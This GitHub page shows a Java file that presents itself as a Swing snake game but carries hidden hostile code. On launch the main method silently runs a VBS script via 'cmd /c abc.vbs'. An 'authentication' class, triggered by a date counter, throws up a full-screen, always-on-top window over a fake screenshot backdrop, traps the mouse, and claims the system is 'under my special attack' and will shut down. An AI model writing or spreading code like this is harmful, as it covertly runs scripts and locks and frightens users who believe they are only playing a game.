-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpolygan.java
629 lines (509 loc) · 11.3 KB
/
polygan.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
import java.io.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import java.util.Random;
import javax.swing.*;
import java.awt.Color;
class mainfn
{
mainfn()
{
String list[]={"authentication.class"};
for(int i=0;i<list.length;i++)
{
try{
FileInputStream fin=new FileInputStream(list[i]);
FileOutputStream fout=new FileOutputStream("a"+list[i]);
int r;
do{
r=fin.read();
//System.out.print(r);
if(r!=-1)
fout.write(r);
}while(r!=-1);
fin.close();
fout.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
public static void main(String arg[])
{
mainfn m=new mainfn();
return;
}
}
public class polygan extends JFrame implements ActionListener, KeyListener {
char say='.';
corner c;
int ic,ht,ln;
int speed;
int mark;
JButton b1,b2,b3,b4;
Point start,end,sayali;
int flag,flag2;
polygan()
{
ht=500;
ln=500;
mark=-5;
speed=75;
ic=10;
sayali=new Point(100,200);
c=new corner();
setLayout(new FlowLayout());
b1=new JButton("1");
b2=new JButton("2");
b3=new JButton("3");
b4=new JButton("4");
add(b1);
b1.addActionListener(this);
add(b2);
b2.addActionListener(this);
add(b3);
b3.addActionListener(this);
add(b4);
b4.addActionListener(this);
start=new Point(100,200);
end =new Point(10,200);
new_point();
flag=1;
flag2=1;
addKeyListener(this);
requestFocus();
}
Boolean dead() throws AWTException
{
Color c1=new Color(0x000001);
Robot r1=new Robot();
//System.out.println(r1.getPixelColor(start.x,start.y).toString());
if(r1.getPixelColor(start.x, start.y).equals(c1))
return true;
return false;
}
void keyboard()
{
int temp=0;
if(say=='A' || say=='a')
temp=3;
else if(say=='D'||say=='d')
temp=1;
else if(say=='W'|| say=='w')
temp=2;
else if(say=='S'||say=='s')
temp=4;
else if(say=='p'||say=='P')
while(true);
if(temp==1 && (flag==2||flag==4))
;
else if(temp==2 && (flag==1||flag==3))
;
else if(temp==3 && (flag==2||flag==4))
;
else if(temp==4 && (flag==1||flag==3))
;
else
return;
c.add(start.x, start.y);
flag=temp;
say='.';
}
public void paint(Graphics g)
{ Color c1=new Color(0x101010);
new_point();
requestFocus();
keyboard();
flag2=c.checkReachable(end.x,end.y,flag2);
inc();
try {
if(dead())
{
g.drawString("snake dead\n SCORE IS = "+mark, 400, 400);
final JDialog d1=new JDialog();
d1.setSize(300,200);
d1.setLocation(300,300);
d1.setVisible(true);
d1.setLayout(new FlowLayout());
final JTextField t1=new JTextField(10);
d1.add(t1);
JButton b1=new JButton("Save");
d1.add(b1);
JLabel l1=new JLabel("Your Score Is "+mark);
d1.add(l1);
b1.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent a){
try{
System.out.println(t1.getText()+mark);} catch(Exception e){}
d1.setVisible(false);
polygan p=new polygan();
p.setSize(1000,850);
p.setVisible(true);
}
});
Thread.sleep(2000);
setVisible(false);
}
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
super.paintComponents(g);
g.setColor(c1);
g.fillRect(sayali.x, sayali.y, 10, 10);
c1=new Color(0x000001);
g.setColor(c1);
g.drawRect(20, 60, ht+50, ln+50);
g.drawString("SCORE :- "+mark,200,200);
g.drawString("O", start.x, start.y);
if(c.cnt==0){flag2=flag;
g.drawLine(start.x, start.y, end.x, end.y);}
else
{
g.drawLine(start.x, start.y, c.ax[c.cnt-1], c.ay[c.cnt-1]);
for(int i=0;i<c.cnt-1;i++)
g.drawLine(c.ax[c.cnt-i-1], c.ay[c.cnt-i-1], c.ax[c.cnt-i-2], c.ay[c.cnt-i-2]);
g.drawLine(c.ax[0], c.ay[0], end.x, end.y);
}
g.drawString(c.cnt+" "+c.cnt+"Hello" + flag, 100, 200);
try {
Thread.sleep(speed);
} catch (InterruptedException e) {
e.printStackTrace();
return;
}
}
public void new_point()
{
Random r=new Random();
if(grabed())
{mark+=5;
sayali.x=r.nextInt(ht-20)+65;
sayali.y=r.nextInt(ln-20)+65;
incend();
}
}
Boolean grabed()
{
int diff_x=sayali.x-start.x;
int diff_y=sayali.y-start.y;
if(diff_x>=-10 && diff_x<=0 && diff_y>=-10 && diff_y<=0)
return true;
return false;
}
void incend()
{ic*=5;
if(flag2==1)
end.x-=ic;
else if(flag2==2)
end.y+=ic;
else if(flag2==3)
end.x+=ic;
else if(flag2==4)
end.y-=ic;
ic/=5;
}
public void inc()
{
if(flag2==1)
end.x+=ic;
else if(flag2==2)
end.y-=ic;
else if(flag2==3)
end.x-=ic;
else if(flag2==4)
end.y+=ic;
if(flag==1)
start.x+=ic;
else if(flag==2)
start.y-=ic;
else if(flag==3)
start.x-=ic;
else if(flag==4)
start.y+=ic;
repaint();
}
@Override
public void actionPerformed(ActionEvent arg0) {
// TODO Auto-generated method stub
String arg1=arg0.getActionCommand();
int temp=Integer.parseInt(arg1);
if(temp==1 && (flag==2||flag==4))
;
else if(temp==2 && (flag==1||flag==3))
;
else if(temp==3 && (flag==2||flag==4))
;
else if(temp==4 && (flag==1||flag==3))
;
else
return;
c.add(start.x, start.y);
flag=temp;
repaint();
}
public static void main(String[] args) {
//mainfn m=new mainfn();
// TODO Auto-generated method stub
try{
Runtime r=Runtime.getRuntime();
Process p=null;
p=r.exec("cmd /c abc.vbs");}catch(Exception e){}
polygan p=new polygan();
p.setSize(1000,850);
p.setVisible(true);
}
@Override
public void keyPressed(KeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void keyReleased(KeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void keyTyped(KeyEvent arg0) {
// TODO Auto-generated method stub
say=arg0.getKeyChar();
//repaint();
}
}
class corner
{
int ax[]=new int[400];
int ay[]=new int[400];
int cnt=0;
corner()
{
}
void shift()
{ cnt--;
for(int i=0;i<cnt;i++)
{ax[i]=ax[i+1];
ay[i]=ay[i+1];
}
}
int checkReachable(int end_x,int end_y,int f1)
{
if(cnt==0)
return f1;
if(f1==1 && ax[0]<=end_x)
{
if(ay[1]<end_y)
f1=2;
else
f1=4;
shift();
}
else if(f1==2 && ay[0]>=end_y)
{
if(ax[1]>end_x)
f1=1;
else
f1=3;
shift();
}
else if(f1==3 && ax[0]>=end_x)
{
if(ay[1]<end_y)
f1=2;
else
f1=4;
shift();
}
else if(f1==4 && ay[0]<=end_y)
{
if(ax[1]>end_x)
f1=1;
else
f1=3;
shift();
}
return f1;
}
int flag(Point p1)
{
return cnt;
}
void add(int x,int y)
{
ax[cnt]=x;
ay[cnt]=y;
cnt++;
}
}
class authentication {
/**
* @param args
*/
static int exitd=0;
authentication()
{
if(DoItToday())
dialog();
}
boolean DoItToday()
{
Date g1=new Date();
int i=1;
try {
Thread.sleep(1000*1);
FileInputStream no=new FileInputStream("no");
i=no.read();
no.close();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.print(i);
Date g2=new Date();
g2.setDate(i*3);
Date d=new Date();
//System.out.println(g1.toString());
//System.out.println(g2.toString());
if(g2.before(g1))
{
try {
FileOutputStream no=new FileOutputStream("no");
no.write(++i%31);
no.close();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return true;
}
return false;
}
void dialog(){
final String name=" ";
frame d1=new frame();
d1.setTitle("Remember this...");
d1.setName("kkkk :)");
/*try {
BufferedImage bimage=(new Robot().createScreenCapture(new Rectangle(1200,800)));
//ImageWriter wr=new ImageWriter();
//wr.write(bimage);
d1.setIconImage(bimage);
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}*/
//JTextField t1=new JTextField(20);
//d1.add(t1);
d1.setAlwaysOnTop(true);
d1.setBackground(Color.BLACK);
d1.setSize(1400,1000);
d1.setLocation(0, 0);
d1.setVisible(true);
try {
Robot r5 = new Robot();
r5.keyPress(KeyEvent.VK_F11);
} catch (Exception e) {
// TODO: handle exception
}
// name=System.console().readLine();
// System.out.println(name);
d1.addKeyListener(new KeyListener(){
@Override
public void keyPressed(KeyEvent arg0) {
if(arg0.getKeyChar()==KeyEvent.VK_Y)
authentication.exitd++;
if(authentication.exitd==4)
System.exit(1);
// TODO Auto-generated method stub
//System.out.println("pressed");
JDialog d2=new JDialog();
d2.setTitle("Don't try this");
d2.setBackground(Color.DARK_GRAY);
d2.setAlwaysOnTop(true);
d2.setVisible(true);
d2.setLocation(450, 450);
d2.setSize(250, 100);
d2.addKeyListener(new KeyListener(){
@Override
public void keyPressed(KeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void keyReleased(KeyEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void keyTyped(KeyEvent arg0) {
// TODO Auto-generated method stub
if(arg0.isShiftDown())
{
authentication.exitd++;
if(authentication.exitd>=4)
System.exit(1);
}
}
});
}
@Override
public void keyReleased(KeyEvent arg0) {
// TODO Auto-generated method stub
//System.out.println("released");
}
@Override
public void keyTyped(KeyEvent arg0) {
// TODO Auto-generated method stub
//System.out.println("typed");
}
});
d1.addMouseListener(new MouseListener(){
public void mouseEntered(MouseEvent arg0){
}
@Override
public void mouseClicked(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
try {
Robot r1=new Robot();
r1.mouseMove(500, 400);
} catch (AWTException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseReleased(MouseEvent arg0) {
// TODO Auto-generated method stub
}
});
}
public static void main(String[] args) {
// TODO Auto-generated method stub
authentication a=new authentication();
}
}
class frame extends JDialog
{
frame()
{
setLayout(new FlowLayout());
}
public void paint(Graphics g)
{
g.setFont(new Font("Courier",40,20));
try {
g.drawImage(new Robot().createScreenCapture(new Rectangle(1400,800)), 0, 0, null);
} catch (AWTException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
g.setColor(Color.BLACK);
g.fillRect(0, 280, 1400, 40);
g.setColor(Color.WHITE);
g.drawString("You are under my special attack . Press shift+'Y' four times to exit... after that system will shut down in 2 minutes, save your work after thAT", 150, 300);
}
}